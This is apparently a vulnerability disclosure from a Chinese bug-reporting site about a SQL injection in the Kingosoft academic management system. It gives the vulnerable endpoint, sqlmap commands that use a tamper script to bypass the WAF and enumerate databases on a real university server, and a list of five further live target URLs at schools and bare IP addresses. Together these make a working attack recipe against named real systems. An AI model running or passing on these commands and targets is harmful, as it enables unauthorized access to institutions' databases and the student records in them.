### 简要描述:
青果教务系统存在SQL注入漏洞(简单绕过WAF保护)
### 详细说明:
案例:http://www.kingosoft.com/cgal/mxyh.aspx
[<img src="https://images.seebug.org/upload/201412/15221207d1b9881aa51a23297d40585d04939eda.gif" alt="1.gif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/15221207d1b9881aa51a23297d40585d04939eda.gif)
存在漏洞的文件:/xsweb/pub/temp.aspx?type=ajax&fellowXh=wooyun
同样,该系统有waf的防御,只需要使用--tamper参数即可绕过,继续注入
sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/temp.aspx?type=menu&nj=wooyun" --tamper "equaltolike.py" --dbms mssql
[<img src="https://images.seebug.org/upload/201412/1522231363355a372b9492cc21b9fdb0f3e654f1.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/1522231363355a372b9492cc21b9fdb0f3e654f1.jpg)
sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/temp.aspx?type=menu&nj=wooyun" --tamper "equaltolike.py" --dbms mssql --dbs
[<img src="https://images.seebug.org/upload/201412/152223529b31b75f6ee6eb2588f99b1848c921a3.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/152223529b31b75f6ee6eb2588f99b1848c921a3.jpg)
摘部分案例:
http://stu.gxufe.cn/xsweb/pub/temp.aspx?type=menu&nj=wooyun
http://221.215.217.106/xsweb/pub/temp.aspx?type=menu&nj=wooyun
http://xsgl.qjnu.edu.cn/xsweb/pub/temp.aspx?type=menu&nj=wooyun
http://1.85.45.94:800/xsweb/pub/temp.aspx?type=menu&nj=wooyun
http://szxy.cqsxedu.com/xsweb/pub/temp.aspx?type=menu&nj=wooyun
### 漏洞证明:
sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/temp.aspx?type=menu&nj=wooyun" --tamper "equaltolike.py" --dbms mssql --dbs
[<img src="https://images.seebug.org/upload/201412/152223529b31b75f6ee6eb2588f99b1848c921a3.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/152223529b31b75f6ee6eb2588f99b1848c921a3.jpg)
全部评论 (1)